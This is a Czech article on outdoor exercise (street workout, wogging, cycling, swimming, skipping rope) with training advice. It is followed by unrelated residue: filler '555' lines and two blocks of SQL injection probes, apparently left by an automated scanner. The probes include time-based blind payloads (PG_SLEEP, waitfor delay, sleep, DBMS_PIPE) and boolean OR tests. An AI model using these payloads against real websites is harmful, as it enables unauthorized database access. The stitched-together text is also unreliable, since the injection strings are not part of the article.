Venkovní pohybové aktivity mohou mít mnoho podob. V současné době patří mezi nejvíce preferované běh, chůze a jízda na kole, ale můžete i posilovat. Posilování v přírodě probíhá váhou vlastního těla nebo s použitím jednoduchých pomůcek, případně využitím různých posilovacích přístrojů, které se stále častěji objevují především podél cyklostezek a v parcích.
Jízda na kole a kolečkových bruslích, běhání a chůze, plavání, tenis, volejbal… Všechny klasické letní sporty můžete ještě doplnit o nové – například o stále více populární cvičení s vlastní tělesnou váhou nebo kombinaci chůze a běhu.
Street workout – cvičení s vlastní tělesnou váhou
Už z názvu je zřejmé, že se jedná o venkovní pohybové a posilovací aktivity, ale některé cviky můžete dělat i doma. Street workout má původ v Americe, a poměrně brzy si v něm našli zálibu i v Rusku. Důvodem nebyla politika a snaha se vzájemně vyrovnávat, ale skutečnost, že právě v těchto dvou zemích je ve velkých městech mnoho veřejných parků.
Postupem času se volně dostupná zařízení objevila v mnoha dalších větších městech po celém světě. U nás je najdeme i podél některých cyklostezek. Většinou jsou to různé kladiny nebo hrazdy, někdy mají podobu zvláštní „prolézačky“ nebo různých pohyblivých kyvadel.
Street workout je oblíbený především proto, že cvičení nestojí žádné peníze a probíhá venku, můžete si tím i zpestřit běh, chůzi, jízdu na kole, koloběžce nebo kolečkových bruslích, a na internetu najdete videa s návody, jak správně cvičit. Mnohé prvky můžete cvičit i doma.
Wogging – chůze a běh
Kombinace dvou rychlostí pohybu - oblíbeného joggingu a walkingu je známá jako wogging. Wogging není nic nového, je to vlastně tzv. indiánský běh, kdy se v principu jedná o střídání klasického běhu a klidné chůze. Tento pohyb je ideální pro každého, kdo není v takové tělesné kondici, aby zvládal jen běhání a nebo ho jen běhání už nebaví. Do této aktivity je samozřejmě možné zapojit i street workout…
Wogging by se měl provozovat třikrát, maximálně čtyřikrát za týden a neměl by být delší než třicet minut. Samozřejmostí jsou kvalitní běžecké boty a dodržování pitného režimu. Při chůzi by se měly zapojit i ruce, tělo i hlavu mějte vzpřímené.
Trasu byste si měli předem projít a vybrat úseky, kde budete chodit a kde běhat. Na začátku provozování woggingu by běžecké části měly být kratší a na rovině, případně z mírným klesáním. Postupem času úseky s chůzí zkracujte a chůzi zrychlujte, běžecké části naopak postupně prodlužujte.
Začíná se čtyř až pětiminutovou chůzí, tu střídá dvou až tříminutový běh. Postupně ale intervaly chůze zkracujte a běh prodlužujte. Ideální stav po čtyř týdnech je tři minuty svižné chůze a šest minut intenzivního běhu a celkovou dobu můžete prodloužit až na hodinu.
Další osvědčené možnosti
Jízda na kole nebo kolečkových bruslích je dnes už klasická forma sportovního pohybu, při které dochází k protažení mnoha svalů a příznivým účinkům na kardiovaskulární systém. Hubnutí při těchto sportech velmi závisí na vytrvalosti, námaze a rychlosti. Domácí alternativou kola je rotoped…
Plavání je další velmi oblíbený způsob pohybu, při kterém dochází i k snížení váhy, protahují se a zpevňují svaly celého těla a je to i vhodná relaxace po únavě z jiných sportů. Hubnutí v tomto případě závisí především na rychlosti plavání a intenzitě temp. Plavat se dnes dá celý rok.
Švihadlo a guma jsou cvičební pomůcky, které s sebou můžete mít i v přírodě. Při dynamické skákání přes švihadlo se velmi rychle spalují tuky a tím hubnete, zároveň se procvičí mnoho svalů. Guma slouží především k účinnému protahování. Švihadlo i guma jsou zároveň vynikající přípravou pro provozování mnoha dalších sportů.
Cvičení musí být zábava
Volba vhodné sportovní aktivity je závislá na časových a prostorových možnostech, ale i na fyzické kondici. Doba jednoho cvičení by ale neměla být delší než maximálně 90 minut a mělo by se provozovat tři až čtyři dny v týdnu. Ideálně by po dvou dnech měl následovat den klidu a odpočinku. Tato pravidla byste neměli porušovat ani když se budete cítit v té nejlepší kondici.
Nezapomínejte také, že cvičení a pohyb musí pro vás být především zábava! Pokud se do nějaké aktivity budete nutit a nebude vás bavit, pak ji raději na nějaký čas nebo úplně vynechejte.
Zdeněk Urban
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@TskTO
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
NW0sQ4yd')) OR 450=(SELECT 450 FROM PG_SLEEP(15))--
zZ32iPhn') OR 502=(SELECT 502 FROM PG_SLEEP(15))--
3I4JVxsD' OR 463=(SELECT 463 FROM PG_SLEEP(15))--
-1)) OR 385=(SELECT 385 FROM PG_SLEEP(15))--
-5) OR 956=(SELECT 956 FROM PG_SLEEP(15))--
-5 OR 950=(SELECT 950 FROM PG_SLEEP(15))--
PBMTbVI2'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+735-735) --
-1" OR 3*2<(0+5+735-735) --
-1" OR 3+735-735-1=0+0+0+1 --
-1" OR 2+735-735-1=0+0+0+1 --
-1' OR 3*2>(0+5+556-556) or 'rDiDMWTB'='
-1' OR 3*2<(0+5+556-556) or 'rDiDMWTB'='
-1' OR 3+556-556-1=0+0+0+1 or 'rDiDMWTB'='
-1' OR 2+556-556-1=0+0+0+1 or 'rDiDMWTB'='
-1' OR 3*2>(0+5+367-367) --
-1' OR 3*2<(0+5+367-367) --
-1' OR 3+367-367-1=0+0+0+1 --
-1' OR 2+367-367-1=0+0+0+1 --
-1 OR 3*2>(0+5+75-75)
-1 OR 3*2<(0+5+75-75)
-1 OR 3+75-75-1=0+0+0+1
-1 OR 2+75-75-1=0+0+0+1
-1 OR 3*2>(0+5+997-997) --
-1 OR 3*2<(0+5+997-997) --
-1 OR 3+997-997-1=0+0+0+1 --
-1 OR 2+997-997-1=0+0+0+1 --
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
@@92KEX
1%2527%2522
1'"
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
BwwaVolz')) OR 106=(SELECT 106 FROM PG_SLEEP(15))--
yn2ppyHD') OR 309=(SELECT 309 FROM PG_SLEEP(15))--
eUVAWojK' OR 787=(SELECT 787 FROM PG_SLEEP(15))--
-1)) OR 253=(SELECT 253 FROM PG_SLEEP(15))--
-5) OR 681=(SELECT 681 FROM PG_SLEEP(15))--
-5 OR 693=(SELECT 693 FROM PG_SLEEP(15))--
0XltJ8l5'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 3*2>(0+5+913-913) --
-1" OR 3*2<(0+5+913-913) --
-1" OR 3+913-913-1=0+0+0+1 --
-1" OR 2+913-913-1=0+0+0+1 --
-1' OR 3*2>(0+5+334-334) or 'kyCH3iPa'='
-1' OR 3*2<(0+5+334-334) or 'kyCH3iPa'='
-1' OR 3+334-334-1=0+0+0+1 or 'kyCH3iPa'='
-1' OR 2+334-334-1=0+0+0+1 or 'kyCH3iPa'='
-1' OR 3*2>(0+5+903-903) --
-1' OR 3*2<(0+5+903-903) --
-1' OR 3+903-903-1=0+0+0+1 --
-1' OR 2+903-903-1=0+0+0+1 --
-1 OR 3*2>(0+5+323-323)
-1 OR 3*2<(0+5+323-323)
-1 OR 3+323-323-1=0+0+0+1
-1 OR 2+323-323-1=0+0+0+1
-1 OR 3*2>(0+5+426-426) --
-1 OR 3*2<(0+5+426-426) --
-1 OR 3+426-426-1=0+0+0+1 --
-1 OR 2+426-426-1=0+0+0+1 --
555
555
555
555
555